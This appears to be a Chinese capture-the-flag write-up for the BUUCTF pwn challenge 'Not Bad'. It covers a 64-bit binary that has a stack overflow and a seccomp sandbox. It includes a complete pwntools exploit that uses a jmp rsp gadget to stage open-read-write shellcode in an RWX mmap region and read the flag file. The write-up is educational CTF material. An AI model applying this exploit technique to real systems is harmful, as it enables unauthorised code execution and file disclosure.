[BUUCTF]PWN——[极客大挑战 2019]Not Bad (orw_shellcode)

[极客大挑战 2019]Not Bad

附件

步骤

  1. 例行检查,64位程序,没用开启任何保护
    在这里插入图片描述

  2. 本地试运行一下看看大概的情况,根据程序提示,是个简单的shellcode,按照经验,肯定不简单
    在这里插入图片描述

  3. 64位ida载入
    在这里插入图片描述
    百度一下关于mmap函数的介绍
    把从0x123000开始的地址,大小为0x1000的长度,权限改为可写可执行
    sub_400949(),沙盒过滤
    在这里插入图片描述
    使用seccomp-tools dump ./bad查看一下哪些函数可以使用
    在这里插入图片描述
    发现只有read,write,open,exit可以使用,估计这题应该是使用open-->read-->write这样的orw的方式获取flag了
    sub_400906()
    在这里插入图片描述
    sub_400A16(),明显的溢出漏洞
    在这里插入图片描述

  4. 这题的思路很简单,写入orw类型的shellcode,然后跳转去执行,buf的大小只有0x20,感觉不够我们写全rop攻击链,程序一开始的时候给我们开辟了0x100可执行的空间,打算在这边写shellcode,然后利用buf的溢出跳转过来执行我们的shellcode

  5. 先写一下orw的shellcode

mmap=0x123000
orw_payload=shellcraft.open('./flag')           #打开根目录下的flag文件
orw_payload+=shellcraft.read(3,mmap,0x50)       #读取文件标识符是3的文件0x50个字节存放到mmap分配的地址空间里
orw_payload+=shellcraft.write(1,mmap,0x50)      #将mmap地址上的内容输出0x50个字节

关于文件描述符fd的具体看这篇文章,我这边简单说一下。
read里的fd写3是因为程序执行的时候文件描述符是从3开始的,write里的1是标准输出到显示器,这些知识点在我给的链接里有。

  1. 接下来写一下buf里的rop攻击链
    buf里的rop攻击链要完成的任务是往mmap里写入orw_payload,让程序跳转到mmap去执行orw_payload,确定目的后开始写rop攻击链
payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')#buf里的rop是往mmap里读入0x100长度的数据,跳转到mmap的地址执行

这样buf里的rop就达到了我们想要的目的,下面就要想办法让buf里的内容被执行
发现该程序有jmp rsp,利用它可以跳转到buf去执行,buf地址是rsp-0x30,
sub rsp,0x30;jmp rsp小于8字节满足要求。在这里插入图片描述
buf处的完整rop攻击链

jmp_rsp=0x400A01
payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')#buf里的rop是往mmap里读入0x100长度的数据,跳转到mmap的地址执行
payload=payload.ljust(0x28,'\x00')#buf的大小是0x20,加上rbp0x8是0x28,用’\x00‘去填充剩下的位置
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')#返回地址写上跳转到rsp
p.recvuntil('Easy shellcode, have fun!')
p.sendline(payload)

这样buf里面的rop也构造好了,剩下的只要传入orw_payload即可读出flag

完整exp

扫描二维码关注公众号,回复: 12871937 查看本文章
from pwn import *

context.arch='amd64'

elf = ELF('./bad')
p = remote('node3.buuoj.cn',28461)


mmap=0x123000
orw_payload = shellcraft.open("./flag")
orw_payload += shellcraft.read(3, mmap, 0x50)
orw_payload += shellcraft.write(1, mmap,0x50)

jmp_rsp=0x400A01
payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')
payload=payload.ljust(0x28,'\x00')
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')
p.recvuntil('Easy shellcode, have fun!')
p.sendline(payload)


shellcode=asm(orw_payload)
p.sendline(shellcode)
p.interactive()

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/mcmuyanga/article/details/113389703